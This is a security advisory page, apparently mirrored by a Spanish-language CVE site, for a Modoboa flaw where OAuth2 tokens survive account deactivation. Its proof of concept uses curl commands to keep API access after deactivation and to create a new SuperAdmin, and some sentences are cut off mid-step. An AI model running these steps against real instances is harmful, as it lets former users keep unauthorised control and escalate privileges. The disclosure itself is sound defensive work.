GHSA-3VVV-HFX8-4JHM
OAuth2 tokens remain valid after account deactivation
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-3VVV-HFX8-4JHM divulgada · CVSS 7.2 (GitHub) | |
| Remediación | Parche 2.13.0 | modoboa · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Deactivating an account (`is_active = False`) did not invalidate the OAuth2
access and refresh tokens previously issued to it. django-oauth-toolkit does
not check `user.is_active` when validating a bearer token or a refresh token,
and Modoboa did not revoke tokens when an account was deactivated.
Details
As a consequence, a user whose account was disabled — typically an
administrator being offboarded — kept full API access with their existing
tokens. Since refresh tokens do not expire by default and the web interface
renews its tokens automatically, this access could last indefinitely.
A deactivated SuperAdmin could, for instance, create a new active
SuperAdmin account, or a deactivated domain administrator could download
the PDF credentials of the accounts they managed.
All deactivation paths were affected: REST API (v1 and v2), Django admin,
LDAP synchronization and the `clean_inactive_accounts` command.
Other authentication methods (session login, DRF tokens) were not affected:
they already reject inactive accounts.
Proof of concept
Tested on Modoboa 2.12.0 with django-oauth-toolkit 3.4.1, default settings.
- Log in to the web interface as a SuperAdmin (`admin`). The frontend obtains
curl -s -X POST https://<instance>/api/o/token/ \
-d grant_type=password -d username=admin -d password=<password> \
-d client_id=<client_id> -d client_secret=<client_secret>
# -> {"access_token": "<AT>", "refresh_token": "<RT>", ...}
- Deactivate the account, by any means (web UI, Django admin, shell):
python manage.py shell -c "from modoboa.core.models import User; \
User.objects.filter(username='admin').update(is_active=False)"
- The access token is still accepted:
curl -s -o /dev/null -w '%{http_code}\n' \
-H 'Authorization: Bearer <AT>' https://<instance>/api/v2/accounts/
# -> 200 (expected: 401)
For comparison, a DRF token for the same account is rejected:
curl -s -H 'Authorization: Token <DRF token>' https://<instance>/api/v2/accounts/
# -> 401 {"detail": "User inactive or deleted."}
- The refresh token still issues new access tokens, so access survives the
curl -s -X POST https://<instance>/api/o/token/ \
-d grant_type=refresh_token -d refresh_token=<RT> \
-d client_id=<client_id> -d client_secret=<client_secret>
# -> 200 with a new access token
- The deactivated SuperAdmin can create a new, active SuperAdmin:
printf 'account;newadmin;Secret123!;New;Admin;True;SuperAdmins;newadmin@example.com\n' > import.csv
curl -s -H 'Authorization: Bearer <AT>' \
-F sourcefile=@import.csv -F crypt_passwords=true \
https://<instance>/api/v2/identities/import/
# -> {"status": true, "message": "1 objects imported successfully"}
Impact
Any user whose account is deactivated keeps the API access they had before,
for as long as they hold an OAuth2 token. Refresh tokens do not expire by
default and the web interface renews tokens automatically, so in practice the
access never ends.
The main scenario is an administrator leaving the organization: disabling
their account, which is the expected offboarding action, does not cut their
access. Depending on the role of the deactivated account, they can:
- read and modify every domain, mailbox, alias and setting they managed;
- create new accounts, including a new active SuperAdmin, which gives them
- download the PDF credentials (containing plaintext passwords) of the
Exploitation requires an OAuth2 token issued while the account was active, so
the attacker must be a former legitimate user. No other configuration or user
interaction is needed.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypimodoboa |
Corregida | 2.13.0 | 0 d | 2.13.0 no afectada |
2.13.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/modoboa/modoboa/security/advisories/GHSA-3vvv-hfx8-4jhmLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
